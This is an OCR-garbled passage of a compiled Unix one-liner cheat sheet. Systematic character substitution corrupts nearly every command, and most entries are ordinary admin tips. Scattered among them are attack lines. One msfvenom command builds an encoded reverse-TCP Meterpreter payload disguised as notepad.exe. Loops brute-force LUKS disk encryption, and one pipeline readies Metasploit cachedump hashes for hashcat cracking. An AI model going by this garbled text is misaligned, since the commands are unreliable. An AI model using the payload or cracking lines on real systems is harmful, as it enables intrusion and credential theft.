All UNIX COMMANDS alias %usy=rnd(ile=$E(ind /usr/include type ( si>e 1Z) 4 sort R 4 head n G FF vim 1$ EERAN6OMK$E*c l $rnd(ile 4 cut ( d8 8GGG $rnd(ile # ;et your out&oin& < address echo n $Ecurl Ss http://icanha>ip2comG 4 ,clip # */o p&rep/p)ill pEG ps a, 4&rep $ 4sed /&rep28$8/d 4*hile read ado print( $aKK print( 8$a# 8 .F9print( Lndone # ena%le all %ash completions in &entoo eselect %ashcomp ena%le &lo%al $Eeselect %ashcomp list 4 sed e s/ //&4 cut dB (9 4 sed e s/L//4 ,ar&sG # the (irst command i type on (resh u%untu sudo apt&et install aptitude # hello hello+ too # cd Nst su%dir cdnEG cd $Els d / 4 sed n $7pG # num%er the line o( a (ile cat n (ile or cat % (ile
# Iind unused <s on a &iven su%net nmap s -su%net.2 4 e&rep o "WB1L2"WB1L2"WB1L2"WB1 . results2t,t (or < in 229Z? do echo 8-su%net.2$<8 done .. results2t,t cat results2t,t 4 sort n t 2 ) + ) 9+9 ) U+U ) ?+? 4 uniP u # S)ip %anner on ssh lo&in prompt ssh P user7server # convert a strin& o( he, characters into ascii chars echo $he, 4 perl pe s/E22G/chrEhe,E$GG/&e # rint time and year o( (ile in Solaris Eor other @ni, ls command that does not have a simple 8(ulllist8G perl e 7I = _ls _*hile E-7I.G7T = statE$Gprint 8$ = 8 2 localtimeE$TBG 2 8Ln8 # 0ist all %roadcast addresses (or the routes on your host2 (or net in $Eip route sho* 4 cut ( dL 4 &rep v de(aultG do ipcalc $net 4 &rep Qroadcast 4 cut dL ( 9 done # 0ist only directories+ one per line (ind 2 ma,depth mindepth type d print( 8K(Ln8 # do*nload all Dp& in *e%pa&e curl sm http://***2*e%site2com/ 4 &rep o http://'8BDp& 4 sort u 4 *&et PT i # 6elimiter Huntin& perl e $( = DoinE88+ -.G (or E"229]G $ = chrE$G i( E/:print:BB/G print i( inde,E$(+ $G - " print 8Ln8 # host&rep: set ip and hostname (rom /etc/hosts Enon6NSG
343 / 658
All UNIX COMMANDS dn&EG local aa=$Esed /8$8/!d /etc/hosts 4sed =8$9+$8!d4sed / /!dGecho $a4 tr L"?" Ln4nl %p"WB$4less e,port dn=$Eecho $a4sed s+2 ++Ge,port ip=$Eecho $a4sed s+ 2++Gecho L$dn=$dnecho L$ip=$ip # The letter your commands most o(ten start *ith (or i in a22> do echo $Ecat X/2%ashhistory 4 &rep '$i2 4 *c lG $i done 4 sort n r # Qac)up all (iles matchin& a pattern to (iles *ith a timestamp (or I<0 in 2con( do cp $I<0+2_date 1KKmKdtKM:KH:KS_ done # 3hec) SSH (in&erprints (or id in _ls X/2ssh 4 &rep v 8authori>edL4)no*nhostsL4con(i&L4L28_ do echo n 8$id: 8 ssh)ey&en l ( 2ssh/$id done # Sho* a calendar cal monthB yearB # 3hec) the last Z pac)a&e operations Eon yum systemsG tail n Z /var/lo&/yum2lo& 4 tac # Replace *ords *ith sed sed /Q;
# rint all *ords in a (ile sorted %y len&th 344 / 658
All UNIX COMMANDS (or a in $E- I<0NAMG do echo 8$E%c --- $E*c m---$aGG $a8done4sort n # ;et your current u%lic < curl i(con(i&2me # 3reate an alias command that clears the screen and scroll %ac) %u((er Ein putty and ,termG alias clearscroll%ac)=clearprint( K% 8L"UUUC8 # 6isplay the speci(ied ran&e o( process in(ormation ps au, 4 sort n )9 4 a*) i( E$9 - U""G printE$"G # Qrute(orce dmcrypt usin& shell e,pansion (or a in p+a+A+?s+S+Zs+S+Z do echo $a4cryptsetup lu)sOpen /dev/sdaZ $a FF echo Y IO@N6: $a done # chan&e to the selected directory (or >sh users alias scd=dirs v echo n 8select num%er: 8 read ne*dir cd 8$ne*dir8 # [ie* the octal dump o( a (ile od vt , /tmp/spa&hetti(ile # Report Jhat Tape is in Autoloader Mailslot Eusin& Qarcode 0a%elG mt, ( /dev/s&U status 4 &rep ^ORT 4 cut c ZU # rint time and year o( (ile in Solaris Eor other @ni, ls command that does not have a simple perl e (oreach E7AR;[G 7T=statE$G print localtimeE$TBG28 82$28Ln8 # Search (or classes in Cava CAR (iles2 (ind 2 name 82Dar8 4 *hile read line do echo 8### $line 8 un>ip l $line done 4 &rep 8'###L4youstrin&8 4less # num%er (iles in directory accordin& to their modi(ication time
All UNIX COMMANDS (or i in rpc%ind
n(sloc)
lldpad (coe rpcidmapd do service $i stop ch)con(i& $i o(( done
# Qrute(orce dmcrypt usin& dictionary cat dictionary2t,t4*hile read a do echo $a4cryptsetup lu)sOpen /dev/sdaZ sdaZ $a FF echo Y IO@N6: $a done # send (iles via ssh,(er cat some(ilehere2t,t 4 ssh,(er nametocall(ile2t,t # Search &d% help pa&es &d% command: apropos -)ey*ord. # 3hec) synta, o( all H (iles %e(ore an S[N commit (or i in _svn status 4 e&rep 'EM4AG 4 sed r s/L1Ls1// 4 a*) print $9 _ do i( ! d $i B then php l $i (i done # Over*rite local (iles (rom copies in a (lat directory+ even i( theyre in a di((erent directory structure (or ( in $E(ind ma,depth " type (G do (ile=$E(ind X/tar&et name $(G i( n 8$(ile8 B then cp $(ile $(ile2%a) mv $( $(ile (i done # 6[6 to ouTu%e ready *atermar)ed M;? A[< (ile usin& mencoder Estep G mencoder oac mpUlame lameopts c%r=9 ovc lavc lavcopts vcodec=mDpe& o dvd2avi dvd://"
# cat a con(i& (ile removin& all comments and %lan) lines &rep vh ':space:BBLE#L4$LG -(ile. # ;et Stu((2 curl 8http://***2commandline(u2com/commands/matchin&/$Eecho 8$78 4 sed s/ //&G/$Eecho n $7 4 %ase?G/plainte,t8 # loo)up a short url *ith curl curl < 0 http://t2co/m5@,0yS # ;et ls to only sho* directories under 2 ls al 4 &rep 'd # Top Ten o( the most active committers in &it repositories &it shortlo& s 4 sort rn 4 head # in& a ran&e o( num%ered machines c:L.(or Kt in E" 9 U ? Z ]G do (or Kd in E" 9 U ? Z ] WG do pin& n Kd
machine"Kt
# 3lear RAM cache su c sync echo U . /proc/sys/vm/dropcaches # 3onvert any encodin& to @TI iconv ( $E(ile %i (ilename2e,t 4 sed e s/2 Bcharset=//G t ut( (ilename2e,t . (ilename2e,t # Serve one or more &it repositories &it daemon reuseaddr ver%ose e,portall %asepath=/parent/o(/%are/&it/repos # Jhich (iles/dirs *aste my dis) space du aQm4a*) $ .= "" # Sho* current (older permission recursively (rom /+ use(ul (or de%u&&in& ssh )ey permission 346 / 658
All UNIX COMMANDS pushd 2. /dev/null cd / (or d in _echo $O06J6 4 sed e s/L// /&_ do cd $d echo n 8$d 8 ls ld 2 done popd ./dev/null # Sometimes you Dust *ant a Puic) *ay to (ind out i( a certain user account is loc)ed 0inu,B2 a*) I8:8 print $ /etc/pass*d 4 *hile read @@ do STAT@S=$Epass*d S $@@ 4 &rep loc)ed 9./dev/nullG i( ! > $STAT@S BB then echo 8Account $@@ is loc)ed28 (i done # Remove comments and empty lines (rom a (ile &rep v '#L4'$ /etc/hdparm2con( # delete all trailin& *hitespace (rom each line in (ile sed s/ LtB$// - -(ile. . -(ile.2out mv -(ile.2out -(ile. # urldecodin& ls 4 *hile read (indo (out=$Eecho n $(in 4 sed es/KLE"WAIB"WAIBLG/LLLLL,L/& 4 ,ar&s echo eGi( 8$(out8 != 8$(in8 Bthen echo 8mv $(in $(out8(idone 4 %ash , # )ills all phpZ(c&i processes (or user per name p)ill W u username phpZ(c&i # ;ra%s Open Iiles and Then ;reps Them lso( 4 &rep 8stu((8 # (aster replace stin& *ith dd :4dd o(=2/ssss2t,t see)= %s=$EE$Estat cKs 2/ssss2t,tG$Etail n 9 2/ssss2t,t4*c cGGG # Hi%ernate a(ter U"minutes sudo %ash c 8sleep U"m pmhi%ernate8 # Iind all (iles matchin& name2,ml and search (or te,t *ithin them &rep nH 8te,t8 r 2 include name2,ml # 3hec) (sta% volumes and volumes mounted2 di(( -Ecat /etc/(sta% 4 &rep vol 4 &rep v 8'#8 4 a*) print $G -Ed( h 4 &rep volG # Return the oneliner &oo&le response (or Pueries li)e 899?8 or 8*hat time is it in the u)8 &oo&leEG 5=8$78 ;OO;@R0=https://***2&oo&le2com/searchVP= A;NT=8Mo>illa/Z2" E^ 0inu, ,?G AppleJe%Yit/ZU]2U EYHTM0+ li)e ;ec)oG 3hrome/UU2"2]Z"2Z9 Sa(ari/ZU]2U8 elin)s dump 8$;OO;@R0$5//L /18 4 &rep 8L8 4 head # svn di(( $ 4 colordi(( 4 lv c svn di(( $ 4 colordi(( 4 lv c # Sometimes you Dust *ant a Puic) *ay to (ind out i( a certain user account is loc)ed 0inu,B2 &etent shado* 4 *hile
# Sho* all Stora&e Repositories on ^enServer ,e srlist 347 / 658
All UNIX COMMANDS # 3hec) i( SS0 session cachin& is ena%led on ;oo&le &nutlscli [ r ***2&oo&le2com 4&rep Session <6 # Speed @p JAN Iile Trans(er Jith 3ompression ssh "2"2"2? 8&>ip c /tmp/%ac)up2sPl8 4&un>ip . %ac)up2sPl # Resolution o( a ima&e identi(y ima&e2Dp& 4&rep o 8:di&it:BB,:di&it:BB8 4tail # (ind (ileEsG on dis) (ind / name to(ind2sh 9./dev/null # Turn your monitor on or o(( or put into stand%y (rom the command line2 v%etool dpms on4o((4stand%yB # Run a command on all servers usin& (unc (unc 88 call command run 8uname i8 # test console colors E ,=_tput op_ y=_print( K$EE$3O0@MNSGGs_(or i in "229Zdo o=""$iecho e $o:$#o U:U _tput seta( $itput seta% $i_$y// /=$,done G # Arch 0inu, sort installed pac)a&es %y si>e pacman 5i 4 &rep NameL4Si>eL46escription 4 cut d: (9 4 paste print $9+ 8Lt8+ $+ 8Lt8+ $U 4 sort rn
4 a*) ILt
# encrypt+ split and &et ready (or dvd a lar&e (ile via tar and ccrypt tar c>( /directory/to/tar 4 ccrypt ) yourpass*ord 4 split %Z"m /(inal/encrypted2cpt # cpanel umount virt(s mounts (or i in _cat /proc/mounts 4 &rep /home/virt(s 4 cut d V V ( 9 _ do umount $i done # (ind 2 name 82t,t8 4 ,ar&s sed i 8s/old/ne*/8 (ind 2 name 82t,t8 4 ,ar&s sed i 8s/old/ne*/8 # Set the master volume to W"K E@%untuG aumi, v W" # Sometimes you Dust *ant a Puic) *ay to (ind out i( a certain user account is loc)ed 0inu,B2 &etent shado* 4 &rep '':BL1:! 4 cut d: ( # ;et <v? o( eth" (or use *ith scripts /s%in/i(con(i& eth" 4 &rep inet addr: 4 a*) print $9 4 sed s/addr:// # delete all leadin& and trailin& *hitespace (rom each line in (ile sed s/' LtB//s/ LtB$// - -(ile. . -(ile.2out mv -(ile.2out -(ile. # Ma)e sure your script runs *ith a minimum Qash version i( > 8$QASH[RS
All UNIX COMMANDS # This little command edits your &iti&nore (rom any*here in your repo vim $E&it revparse sho*toplevelG/2&iti&nore # Ho* to (ind all open (iles %y a process in Solaris " (or i in _p(iles pid4&rep S
# Maven
? 9" sleep
# ;et sunrise time (or any city+ %y name sunriseEG city=$Seattle *Um 8&oo&le2com/searchVP=sunrise:$city8 4 sed r +/'LsL2/d /'Ls9L2/+$d /'$/d # 3reate and encode a reverse tcp meterpreter payload *ith shi)ata&anai2 ms(venom p *indo*s/meterpreter/reversetcp lhost=W92229 lport=???? e ,/shi)ata&anai i Z ( e,e , X/notepad2e,e ) . notepod2e,e # *rite cd/dvd *ith &enisoima&e and *odim 349 / 658
All UNIX COMMANDS TS<\=_&enisoima&e R P printsi>e 6
# &et date time o( (oler/(ile created du csh time 4sort n4tail
*ith du csh
# [ie* latest apache access lo& vie* _ls accesslo&2 4 tail n _ # Qatch ima&e resi>e (or a in _ls_ do echo $a FF convert $a resi>e -Jidth.,-Hei&ht. $a done # Iind duplicate dir in path echo $ATH4tr : Ln4sort4uniP d 350 / 658
All UNIX COMMANDS # display em%eded comments (or every opt+ use(ull (or auto documentin& your script vim n es c &/# 3ommandarse/19+/'LsL1esac/ d p 4 K d 4 put p 4 K- c &/'LE1BL1 'GBL1LGG/+/'LELsL1' Lt#BL4'$LG/ p c P! $" # delete all leadin& and trailin& *hitespace (rom each line in (ile sed s/'Ls//s/Ls$// i (ile # ,tract every parted(iles *hich had the same pass*ord (ind 2 name 2part2rar e,ec unrar e LL pASSJOR6 L # 6iscover unoptimi>ed MyS50 ta%les and optimi>e them2 (or ta%le in $Eecho 8select concatETAQ0S3HMA+ 2+ TAQ0NAMG (rom in(ormationschema2TAQ0S *here TAQ0S3HMA NOT
All UNIX COMMANDS ps e h o pid sort pcpu 4 head " 4 v>pid # [alidate openssh )ey F print chec)sum ssh)ey&en l ( pu%)eyB 4 cut d ( 9 4 tr ds Ln: # 6elete temporary 0aTe^ (iles Ea)a delete stu(( only i( correspondin& source (ile e,istsG rm v 2Elo&4toc4au,4nav4snm4out4te,2%ac)up4%%l4%l&4%i%2%ac)up4vr%4lo(4lot4hd4id,GE2e/ ( $R0:r2te, BB/G # ;enerate random num%er *ith shu( seP "4 shu( 4 head
# rename multiple (iles *ith di((erent name+ e& convertin& all t,t to csv >mv EG2t,t $2csv # 0osslessly com%ine all MUs in a directory Ee2&2 an audio%oo)G ((mpe& i 8concat:$E(ind 2 name 82mpU8 4 sort 4 tr Ln 4G8 acodec copy 22/$E%asename $ Ep*dGG2mpU FF mpUval ( 22/$E%asename $Ep*dGG2mpU # Add mem%er to domain &roup net &roup &roupname username /add /domain # ;et the @R0 (or the &itanne, *e%app &rep @R0 X/anne,/2&it/anne,/*e%app2html 4 tr d 8. 4 a*) I= print $? 8=8 $Z # 6ump an rpms pac)a&e details E%esides the (ilesG rpm Pueryta&s 4 e&rep v HA6R
All UNIX COMMANDS perl pi es/(oo/%ar/& (ile (ile9 (ileN # Ii%onacci num%ers *ith a*) a*) Q;
# Remove 3R (rom Jindo*s / 6OSte,t(iles dos9uni, (ile2t,t # ;et Iuturama Puotations (rom slashdot2or& servers curl in& (ormat inside terminal e,port <=$Edate 1KsG *atch t n T=$Edate 1KsG=$EE$T$
All UNIX COMMANDS &rep i 8a%orted lo&in8 /var/lo&/maillo& 4 a*) Q;
4 tr K Ln 4
# ;et <v? o( eth" (or use *ith scripts i(con(i& eth" 4 perl ne 8print i( m/inet addr:EELd1L2GUG1/8 4 sed 8s/inet addr//8 4 sed 8s/Qcast//8 4a*) I: print $9 # list all (iles modi(ied in the last 9? hours descendin& (rom current directory (ind 2 type ( mtime L! type d e,ec ls l L # Iast 30< Timer time read , # *ala lyn, usera&ent=Opera dump http://***2(ace%oo)2com/aDa,/typeahead(riends2phpVu=Qilal QuttFa= 4&a*) IL8tL8:L8 v RS=L8+ RTprint $NI 4&rep v L8nL8:L8 4cut d+ (9 # ls output *ith mode in octal 354 / 658
All UNIX COMMANDS lsoEG Dot * K"?d ]]] """" ]]]] 4sed /WB/ds+2+print( 88F 88chmod F 8$8ls l 8$84sed s//2/+ L 4sh L 4 echo 8lsoEG8echo 8ls L$7 LL8echo 8 4sed 8sed s+ +7+9s+72++s+LE2 LGLE2LG+s/L9/L/+s+ ++echo Lecho # Smiley prompt %ased on command e,it status e,port S=8LLe"U9mLBLu7Lh LLe"U?mLBLJ L_i( L$V = " B then echo e L Le"U9mLB:G else echo e LLe"UmLB:E (iL_ LLe"U?mLB$LLe""mLB8 # retty print all o( the 0inu, vm sysctls (or your vie*in& pleasure (ind /proc/sys/vm ma,depth type ( 4 *hile read i do print( 8KUZsLtKsLn8 8$i8 8$E-$iG8 done 4 sort t/ )? # ;et @niPue Hostnames (rom Apache 3on(i& Iiles e&rep ServerAlias4ServerName /etc/apache9/sitesena%led/2con( 4 a*) print( 8KsLtKsLn8+ $9+$U 4 sed s/***2// 4 sort 4 uniP # (ind and delete (iles smaller than speci(ic si>e (ind 2 type ( si>e ") print"4,ar&s " rm
# Recursively %ac)up (iles (ind /var/***/ name (ile e,ec cp +2%a) L # 3hec) i( varia%le is a num%er EE$ . "GG FF echo 8var is a num%er8 # Qatch C; rename to date usin&
355 / 658
r e s/L/2V//&
All UNIX COMMANDS ps u $@SR l( 4 &rep v 8L%ash4sshd4ps4&rep4<68 . 2tmp)ill i( EE $Ecat 2tmp)ill 4 *c lG . " GG then echo 8# Y<00 M A008 cat 2tmp)ill cat 2tmp)ill 4 a*) print $? 4 ,ar&s )ill W else echo 8# NOTH
# Iind all %ash (unctions in a (ile (unctionsEG read p 8Iile name. 8 sort d $R0 4 &rep 8EG8 4 sed e s/EG//& 4 less # ,port mysPl data%ase to another data%ase *ithout havin& to save the output (irst mysPldump u-username. p-pass*ord. h-source data%ase host. data%asename ta%le ta%le9 ta%len 4 mysPl u-user. p-pass*ord. h-destination data%ase host. data%asename # Realtime cloc) co*say 356 / 658
All UNIX COMMANDS *atch tn (i&let ( slant
_date 1KT_ 4 co*say n ( tele%ears
# 6isa%le an inter(aces multicast (ilter (or testin& i(con(i& eth" allmulti # Jipe a directory recursively F sa(ely *ipe r(P5 " directory/ # oor mans pomodoro timer echo 8aplay rin&2*av8 4 at no* 1 9Z min # Qatch rename o( (iles Enames (rom (ileG ls 4 paste delimiters= 2/>>> 4 a*) Q;
All UNIX COMMANDS useradd m s /%in/%ash p $Em)pass*d hash=SHAZ9 pass*ordG username # convert (lac (iles to mpU (iles into su%dir mpU
# 3lear (ilesystem memory cache sysctl * vm2dropcaches=U # 6elimiter Huntin& comm U -Eod v* tu dummy2t,t4cut cW4sort uG -EseP " 9]4sortG4perl pe $=chrE$G4 od c # [ie* Manu(acturer+ Model and Serial num%er o( the ePuipment usin& dmidecode dmidecode t system # ,ecute ls lah every one second *hile true do ls lah FF sleep done # chec) the status o( dd in pro&ress EOS ^G *hile p&rep 'dd do p)ill
All UNIX COMMANDS # Iind processes stuc) in dreaded 868 state a)a
# Recursive (ind and replace in h an cpp (iles (ind 2 name 82h8 o name 82cpp8 4 ,ar&s sed i s/add[erte,es/add[ertices/& # 3ompile all 2less (iles to 2css (ind 2less 4 ,ar&s < lessc 2css FF ls 2less2css 4 sed e ps/less2css/css/ 4 ,ar&s n9 mv # 6elete residues con(i&uration (iles dp)& l 4 &rep 'rc 4 a*) print $9 4 sudo ,ar&s dp)& # 3leanly list availa%le *ireless net*or)s Eusin& i*listG 359 / 658
4
All UNIX COMMANDS i*list *lan" scan 4 sed ne s#':space:BBLE5uality=L4ncryption )ey:L4SS<6:LG#L#p e s#':space:BBLEMode:2LG$#LLn#p # analy>e tra((ic remotely over ssh */ *ireshar) ssh root7HOST tcpdump iany @ s" * not port 99 4 *ireshar) ) i # encrypt sensitive ima&e usin& pass*ord read s ASS echo $ASS 4 convert sensitive2Dp& encipher depth pn&9?:hidden2pn& # rint out all partitions on a system a*) i( E$NI X 8'a>A\B2"WB$8 FF $NI !X 8c"WB1d"WB1$8 FF $NI !X 8'loop28G print 8/dev/8$NI /proc/partitions # 0ist all sym%olic lin)s in current directory ls l 4 &rep 8L.8 # Jhen usin& m)virtualenv+ ma)e the current directory your %ase and cd into that directory every time you *or)on that proDect echo echo 8cd _p*d_8 .. $[
output2pn&
# 3ount uniPue lines in (ile sorted %y instance count Edescendin&G and alpha%etically Eascendin&G sort (ile2t,t 4 uniP c 4 sort )nr )9d # ho* much time restart the *ls serviceV more restart*e%lo&ic2lo& 4 &rep 80
All UNIX COMMANDS systempro(iler SApplications6ataType 4 perl nl e 7al=-. $c=7al *hileE$D-$cG $apps$iB2=$al$DB $i11 i( E$al$DB G =X /'LsLsLsLsLS2:$/ $D11 *hileE$)-$iG $=$apps$)11B i( E/Yind: o*er3/sG print # Iind in all (iles in the current directory+ Dust a (ind shorthand &rep H n 8pattern8 # Remove all the (iles e,cept a%c in the directory rm !a%cB # Remove acentuation (rom (ile names in a directory2 (or i in do mv vi 8$i8 8_echo 8$i84sed y/VVVVVVVVVVVVVVVVVVVVVVVV/AAAA
# mencoder convert video to ,vid mencoder input(ile o output(ile oac mpUlame lameopts c%r:%r=U9 o(ps U" v( harddup ovc ,vid ,videncopts (i,edPuant=U # numerate ru%y&ems environment &em env # list and )ill any processes currently usin& /mount (user vm) /mount # ,tract (iles (rom an
All UNIX COMMANDS # archlinu,: (ind more commands provided %y the pac)a&e o*nin& some command *=_*hereis -command. 4 a*) print $9_ p=_pacman 5o $* 4 sed e s/2is o*ned %y L E:alpha:BBL1LG2/L/_ pacman 5l $p 4 &rep %in # Add all unversioned (iles to svn svn stat 4 &rep 8'LV8 4 a*) print 8svn add 8 $9 4 %ash # ,pand shortened @R0s e,pandurlEG curl s<0 $ 9.F 4 a*) /'0ocation/ print $9 4 tail n # Qac)up all MyS50 6ata%ases to individual (iles *hile read do mysPldump $R0 4 &>ip . 8/%ac)up/mysPl/$R02sPl2&>8 done - -E mysPl e sho* data%ases s s)ipcolumnnames G # command to (ind *hen the last commit has happened (rom the server svnloo) date /path/to/repo # @p&radin& pac)a&es2 acman can update all pac)a&es on the system *ith Dust one command2 This could ta)e Puite a *hile dependin& on ho* uptodate the system is2 This command can synchroni>e the repository data%ases and update the systems pac)a&es2 sudo pacman Syu # Opens an e,plorer2e,e (ile %ro*ser *indo* (or the current *or)in& directory openEG e,plorer /e+ $Ecy&path *ap 8$:$J68G # ;enerate a Random EunicastG MA3 address openssl rand he, 4 tr :lo*er:B :upper:B 4 ,ar&s echo 8o%ase=9i%ase=8 4 %c 4 cut c 4 sed s/$/""/ 4 ,ar&s echo 8o%ase=i%ase=98 4 %c 4 sed 8s/$/:$Eopenssl rand he, Z 4 sed s/LE22LG/L:/& s/2$// 4 tr :lo*er:B :upper:BG/8 # 0ist encodin& o( V in all avali%le char sets (or i in _recode l 4 cut d8 8 ( _ do echo $i8: V8 4 recode ut(22$i s p .. temp done vim temp # e,tract all t&> in current dir ls t&> 4 ,ar&s n tar ,>( # 3reate a tar o( modi(ied/added (iles since revision ]W92 svn di(( r ]W9:HA6 summari>e 4 a*) i( E$ != 868G print $94 ,ar&s incrementalrelease2tar # 6isplay hard*are in(ormation a%out 3< / 3
# 0ist all username (or accounts usin& %ash shell cat /etc/pass*d 4 &rep 8%ash8 4 cut d: ( # recursively remove QOM (ind 2 type ( e,ec sed i e s/'L,IL,QQL,QI// L # F#UZ9WWF#9"WZrhythm%o,F#9Z]]UF#9ZWF#9""UF#9ZWWF#9""F#U"]9 midUiconv e ;QY 2mpU # True Random 6ice Roll echo $E-/dev/urandom tr dc 4 head cG # cd Nst su%dir 362 / 658
< tar r(
All UNIX COMMANDS cd $Els 4 sed n -N.pG # Iind (iles *ith si>e over ""MQ and output *ith %etter layout print rl /E20m1""G # 3ommand used to sync arch ro manDaro mirrors sudo pacmanmirrors & # dp)&: pur&e all pac)a&es matchin& some name sudo dp)& $Esudo dp)& l your)&Name 4 a*) $9 X /your)&Name2/ 4 a*) $ X /2i/ 4 a*) print $9G # Reads in the X/2^de(aults alias ,de(load=,rd% mer&e X/2^de(aults # ,clude &rep (rom your &repped output o( ps Ealias included in descriptionG p&rep (l hBttpd # Iind out
All UNIX COMMANDS # @nmount all 3
# shorter loop than (or loop seP ( echo K& $N@M 4 sh # Removes all pac)a&es recommended %y other pac)a&es aptitude remove VandE VautomaticEVreverserecommendsEVinstalledGG+ VnotEVautomaticEV reversedependsEVinstalledGGG G # 3lean pacman cache in arch linu,+ manDaro linu, sudo pacman Scc # creatin& youre lo&&in& (unction (or your script lo&meEG echo 8$Edate 1KdKmKKH:KMG =. $" 7 $ returned error8 .. persoscript2lo& # ,tract ip addresses *ith sed sed n s/2LELELE'L4 LG"WBL+ULL2LGLLLE"WBL+ULL2LGL9L"WBL+ULLG 2/L/&p # &et process id *ith pro&ram name ps e(a 4 &rep httpd 4 &rep v &rep 4 a*) print $9 4,ar&s # Scan computers OS and open services on all net*or) nmap O W9222/9? # Randomi>e lines Eopposite o( 4 sortG perl *l e 7(=-. (or $i E" 22 $#(G $r=int rand E$i1G 7($i+ $rB=7($r+$iB i( E$i! =$rG chomp 7( print Doin $/+ 7( try2t,t # @n>ip testresult (ile (rom all >ip(iles and mer&e them into one testresult (ile2 ]> e 2>ip r testresult so .. testresult2t,t # di(( t*o css (iles to create an overridin& css Ee2&2 (or *ordpress child themesG di(( @WWWWW ori&inal2css modi(ied2css 4 a*) /'/ne,t (=(8Ln8$" /'L12' B/yes= // i(EyesGprint ( (=88yes=" # Run puppet a&ent in oneo(( de%u& mode puppet a&ent test de%u& # Music streamin& via ssh ssh lo&in7server 8cat path/(ilename2mpU8 4 mplayer # Iilterin& < address (rom i(con(i& use(ule in scripts print $$Ei(con(i& *lan"GB # mh*d V ManDaro Hard*are 6etection mh*d help # To (ind a class/properties/,ml in collection o( Dars (or i in _(ind 2 name 82Dar8_ do Dar tv( $i 4 &rep v /$ 4 a*) v (ile=$i print (ile 8:8 $ done . allDars2t,t 364 / 658
All UNIX COMMANDS # 3onverts all *indo*s 2@R0 shortcuts in a directory to linu, E&nomeG 2des)top shortcuts (ind 2 name 82@R08 4 *hile read (ile do cat 8$(ile8 4 sed s/
# oneline lo& (ormat (or svn svn lo& 4 perl pe s/Ln//& =. s/'2/Ln/& # Appro,imate &rep (or (indin& typos a&rep 9 di((erentially RA6M2t,t # Run puppet master in (ore&round in de%u& mode puppet master nodaemoni>e de%u& # ,tract remote &>ip tar%all ssh user7remote 8cat /path/to/archive2t&>8 4 tar >,v( # Iind %i&&est " (iles in current and su%directories and sort %y (ile si>e (ind 2 type ( e,ec ls shS 1 4 head " # ;eolocate a &iven < address E>h3NG ydip EG *Um dump 8http://***2youdao2com/smartresult,ml/search2sVtype=ipFP=$8 # To install &uest additions in arch or manDaro linu,+ run the (ollo*in& command: sudo pacman S virtual%o,&uestutils 365 / 658
All UNIX COMMANDS # 0inu, screenshot ((mpe& ( ,&ra% s *,&a r 9Z i :"2" sameP /home/)en/6es)top/moviemade2mp& # ;et (ile (rom remote system scp username7host4ipaddress:/directory/path 2 # 3onvert (ile (rom @TI Eno QOMG to @TI E*ith QOMG recode @TI22@TI0 linu,ut((ile2t,t # 6o*nload all hrac) 2tar2&>s (or EEi= i-] i11GG do P done
*&et http://***2phrac)2or&/archives/t&>/phrac)$i2tar2&>
# 3olori>ed &rep in less ac) pa&er=less r # Ho* to archive all the (iles that are not modi(ied in the last , num%er o( daysV (ind /protocollo/pa(lo* type ( mtime 1Z 4 ,ar&s tar cv( /var/dumpprotocollo/_date 1KdKm Karchive2tar_ # Time>one conversions Ee&: *hat time *as 7t>dest *hen it *as $tm 7t>ori&G T\=8$t>dest8 date d 8$ET\=8$t>ori&8 date d 8$tm8G8 # 6ays le(t %e(ore pass*ord e,pires let NOJ=_date 1Ks_/?"" ASS0AST3HAN;=_&rep $@SR /etc/shado* 4 cut d: (U_ ASS0
366 / 658
All UNIX COMMANDS # Re)ursive ;rep on Solaris or A<^ Systems *ithout ;N@ e&rep r (uncionality (ind 2 type ( e,ec a*) /linu,/ print( 8Ks Ks: KsLn8+I<0NAM+NR+$" L # 6isplay icons in 6es)top ;nome U o( Iedora &settin&s set or&2&nome2des)top2%ac)&round sho*des)topicons true # Remove (rom ATH paths containin& a strin& e,port ATH= $Eecho $ATH 4 tr : Ln 4 a*) !/matchin& strin&/ 4 paste sd:G # sho* JAN < curl i(con(i&2me # sho* 9" last modi(ied (iles in current directory includin& su%directories ls tl /Eom+9"BG # dp)&: pur&e all pac)a&es matchin& some name sudo dp)& $Edp)& l your)&Name 4 a*) $9 X /your)&Name2/ FF $ X /2i/ print $9G # To &et the di((erent name (ield n(ormation on rpm pac)a&es rpm Pa P( Kname # Mi&rate &ems (rom one ru%y installation to another /ori&inal
All UNIX COMMANDS # Matri, Style *hile $t do (or i in _seP U"_do r=8$E$RAN6OM K 9GB8h=8$E$RAN6OM K ?GB8i( $h eP B then v=8Lem $r8else v=8Le9m $r8(iv9=8$v9 $v8doneecho e $v9v9=88done # list tomcat *e%apps ssh tomcatserver ls l *e%appdir 4 &rep . 4 a*) print $ENI9G 8 8 $ENIG 8 8 $NI # ;et the time and date o( the last server re%oot last re%oot # 0imit characters per line *hen vie*in& manual pa&es2 MANJ<6TH=]" man ] man # 3opy a (ile content to clip%oard on 3y&*in cat (ile2t,t 4 putclip # ;enerate schema documentation (or an Oracle data%ase Dava Dar X/6o*nloads/schemaSpyZ2"2"2Dar dp X/instantclient"9/oDd%c?2Dar t orathin d% 6QNAM host HOSTNAM port Z9 u @SRNAM p ASSJOR6 o YSMQ666)s2Umer&e
# 3reate a &it archive o( the latest commit *ith revision num%er as name o( (ile &it archive HA6 (ormat=>ip o _&it revparse HA6_2>ip # 3onvert metasploit cachedump (iles to Hashcat (ormat (or crac)in& cd X/2ms(?/loot FF cat mscache 4 cut d 8 ( 9+? 4 sed s/L8/L:/& 4 tr cd LL9L?"L] 4 &rep v @sername 4 cut d : ( +9 4 a*) I: print $9+$ 4 sed s/ /:/& . (inal2dcc2hash # Iind stoc) de%ian pac)a&e con(i& (iles that have %een modi(ied since installation dp)&Puery J( $ac)a&eLn 4 ,ar&s dp)& status 4 sed /'3on((iles:/+/'6escription:/! d//d 4 a*) print $9 8 8 $ 4 mdZsum c 9./dev/null 4 &rep IA<06$ 4 cut ( d: # sho*s history o( lo&ins on the server last # Mi&rate *ordpress d% %et*een t*o hosts chan&in& the @R0 on the (ly *ith encryption and compression ssh P $SR3HOST 8mysPldump adddropdata%ase createoptions data%ases *ordpress 4 sed r L8s/$O06@R0/$NJ@R0/&L8 4 &>ip W8 4 ssh $6STHOST 8&un>ip 4 mysPl8 # 6o*nload all items (rom a list o( @R0s copied to the clip%oard on OS ^ p%paste 4 ,ar&s *&et # hi&hest resolution o( your ouputs as screen resolution and scaled versions on other outputs ,randr (% W9","" output 0[6S scale 2Z,2UZ output H6M< mode W9","" # to &et ho* many users lo&&ed in and lo&&ed out and ho* many times purely usin& a*) last 4 a*) $!X/*tmp/lo&s$B11N6(or Ei in lo&sG print i+ lo&siB # 6isplay the output o( a command (rom the (irst line 